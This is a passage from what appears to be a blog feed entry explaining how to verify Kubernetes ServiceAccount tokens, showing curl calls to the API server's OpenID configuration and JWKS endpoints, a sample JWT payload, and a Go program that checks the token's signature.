&lt;span class=&quot;c&quot;&gt;# Read the ServiceAccount bearer token&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;TOKEN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SERVICEACCOUNT&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/token&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Reference the internal certificate authority (CA)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;CACERT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SERVICEACCOUNT&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/ca.crt

&lt;span class=&quot;c&quot;&gt;# Explore the API with TOKEN&lt;/span&gt;
curl &lt;span class=&quot;nt&quot;&gt;--cacert&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CACERT&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--header&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Authorization: Bearer &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;TOKEN&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; GET &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;APISERVER&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/.well-known/openid-configuration | jq&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jq&lt;/code&gt; is used only to pretty-print the json. This will return something like:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;issuer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://kubernetes.default.svc.cluster.local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;jwks_uri&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://192.168.64.2:8443/openid/v1/jwks&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;response_types_supported&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;id_token&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;subject_types_supported&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;public&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id_token_signing_alg_values_supported&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;RS256&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jwks_uri&lt;/code&gt; holds the &lt;a href=&quot;https://auth0.com/docs/tokens/json-web-tokens/json-web-key-sets&quot;&gt;JSON Web Key Sets&lt;/a&gt;. Calling that URL with the same bearer token:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;curl &lt;span class=&quot;nt&quot;&gt;--cacert&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CACERT&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--header&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Authorization: Bearer &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;TOKEN&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; GET https://192.168.64.2:8443/openid/v1/jwks | jq&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;will return something like this:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;keys&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;use&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sig&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;kty&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;RSA&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;kid&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;BPlcMy7AywKBfLhl67WEfBoRklvuovLWXk-y79NbOxc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;alg&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;RS256&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;n&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;tqzzgxqEkP7yZDwWGPwrFjlf8Ga7KExEQzPaF2VdtnLn1Xec5C2EDfwgXkr5irttvL7_CtItKh8SKjMjwrYZcoIagebIC5mRX3r4mqnG4z501_XtaYNxFSsPfbQz1yjrxr-07d3AyNmO_vbRHftNg3XJTyH5koG3oNS1k5eFZb8mq_drnAJ3rDEs9DAkoCMrv43EXiAOGosnHSUWGobVMBvn53jsfekq-eksT3uRLamKWaisXxqPlkzaqLzY2dIimFfFFPe3Q3OJEFIDqimFZKTaQu3JoMR2V2rTI_vXVCcvmMN0UZtGarr_Zaqx7eR7x2i-7X8Hd-6pWpOjmJNc8w&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;e&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AQAB&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This can be parsed using a library like &lt;a href=&quot;https://github.com/MicahParks/keyfunc&quot;&gt;https://github.com/MicahParks/keyfunc&lt;/a&gt; and the result can then be passed to &lt;a href=&quot;https://github.com/square/go-jose&quot;&gt;https://github.com/square/go-jose&lt;/a&gt; to verify the token.&lt;/p&gt;

&lt;p&gt;When calling the URLs make sure not to use double &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt; (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://kubernetes.default.svc//.well-known/openid-configuration&lt;/code&gt;) as that &lt;a href=&quot;/2021/05/24/k8s-cannot-get-path-.well-known-openid-configuration/&quot;&gt;can lead to permission errors&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;jwt-content&quot;&gt;JWT content&lt;/h1&gt;

&lt;p&gt;The JWT has a payload, similar to:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;iss&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;kubernetes/serviceaccount&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;kubernetes.io/serviceaccount/namespace&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;my-namespace&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;kubernetes.io/serviceaccount/secret.name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;my-service-account-token-p95dr&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;kubernetes.io/serviceaccount/service-account.name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;my-service-account&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;kubernetes.io/serviceaccount/service-account.uid&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;7bbebda6-5b05-4ae4-9b86-0d8145c077a5&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;sub&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;system:serviceaccount:my-namespace:my-service-account&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This contains both the namespace and the service account names, which can be used for authorization.&lt;/p&gt;

&lt;h1 id=&quot;code-example&quot;&gt;Code example&lt;/h1&gt;

&lt;p&gt;&lt;a href=&quot;https://play.golang.org/p/U9X74L5Rs1G&quot;&gt;Live demo&lt;/a&gt; (tends to timeout due to imports, so you might need to run it multiple times)&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-golang&quot; data-lang=&quot;golang&quot;&gt;&lt;span class=&quot;k&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
	&lt;span class=&quot;s&quot;&gt;&quot;crypto/rsa&quot;&lt;/span&gt;
	&lt;span class=&quot;s&quot;&gt;&quot;encoding/json&quot;&lt;/span&gt;
	&lt;span class=&quot;s&quot;&gt;&quot;fmt&quot;&lt;/span&gt;
	&lt;span class=&quot;s&quot;&gt;&quot;log&quot;&lt;/span&gt;

	&lt;span class=&quot;s&quot;&gt;&quot;github.com/MicahParks/keyfunc&quot;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;gojose2&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;gopkg.in/square/go-jose.v2&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;c&quot;&gt;// cat /var/run/secrets/kubernetes.io/serviceaccount/token&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;jwt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;eyJhbGciOiJSUzI1NiIsImtpZCI6IkJQbGNNeTdBeXdLQmZMaGw2N1dFZkJvUmtsdnVvdkxXWGsteTc5TmJPeGMifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJteS1uYW1lc3BhY2UiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlY3JldC5uYW1lIjoibXktc2VydmljZS1hY2NvdW50LXRva2VuLXA5NWRyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6Im15LXNlcnZpY2UtYWNjb3VudCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjdiYmViZGE2LTViMDUtNGFlNC05Yjg2LTBkODE0NWMwNzdhNSIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpteS1uYW1lc3BhY2U6bXktc2VydmljZS1hY2NvdW50In0.dnvJE3LU7L8XxsIOwea3lUZAULdwAjV9_crHFLKBGNxEu70lk3MQmUbGTEFvawryArmxMa1bWF9wbK1GHEsNipDgWAmc0rmBYByP_ahlf9bI2EEzpaGU5s194csB_eG7kvfi1AHED_nkVTfvCjIJM-9oGICCjDJcoNOP1NAXICFmqvWfXl6SY3UoZvtzUOcH9-0hbARY3p6V5pPecW4Dm-yGub9PKZLJNzv7GxChM-uvBvHAt6o0UBIL4iSy6Bx2l91ojB-RSkm_oy0W9gKi9ZFQPgyvcvQnEfjoGdvNGlOEdFEdXvl-dP6iLBPnZ5xwhAk8lK0oOONWvQg6VDNd9w&quot;&lt;/span&gt;

	&lt;span class=&quot;c&quot;&gt;// curl --cacert ${CACERT} --header &quot;Authorization: Bearer ${TOKEN}&quot; -X GET https://192.168.64.2:8443/openid/v1/jwks&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;jwksJSON&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RawMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`{&quot;keys&quot;:[{&quot;use&quot;:&quot;sig&quot;,&quot;kty&quot;:&quot;RSA&quot;,&quot;kid&quot;:&quot;BPlcMy7AywKBfLhl67WEfBoRklvuovLWXk-y79NbOxc&quot;,&quot;alg&quot;:&quot;RS256&quot;,&quot;n&quot;:&quot;tqzzgxqEkP7yZDwWGPwrFjlf8Ga7KExEQzPaF2VdtnLn1Xec5C2EDfwgXkr5irttvL7_CtItKh8SKjMjwrYZcoIagebIC5mRX3r4mqnG4z501_XtaYNxFSsPfbQz1yjrxr-07d3AyNmO_vbRHftNg3XJTyH5koG3oNS1k5eFZb8mq_drnAJ3rDEs9DAkoCMrv43EXiAOGosnHSUWGobVMBvn53jsfekq-eksT3uRLamKWaisXxqPlkzaqLzY2dIimFfFFPe3Q3OJEFIDqimFZKTaQu3JoMR2V2rTI_vXVCcvmMN0UZtGarr_Zaqx7eR7x2i-7X8Hd-6pWpOjmJNc8w&quot;,&quot;e&quot;:&quot;AQAB&quot;}]}`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;c&quot;&gt;// parse the jwks&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;jwks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;keyfunc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;jwksJSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Fatalf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Failed to create JWKS from JSON.&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Error: %s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pubKey&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rsa&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PublicKey&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;range&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;jwks&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Keys&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;pubKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RSA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Fatalf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Failed to create JWKS from JSON.&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Error: %s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;c&quot;&gt;// validate the JWT&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gojose2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ParseSigned&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;jwt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Fatalf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Failed to create JWKS from JSON.&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Error: %s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;jwtContent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Verify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pubKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Fatalf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Failed to create JWKS from JSON.&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Error: %s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;JWT verified, now do some authorization on the contents of it: %s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;jwtContent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

</content>
 </entry>
 
 <entry>
   <title>Kubernetes: cannot get path "//.well-known/openid-configuration"</title>
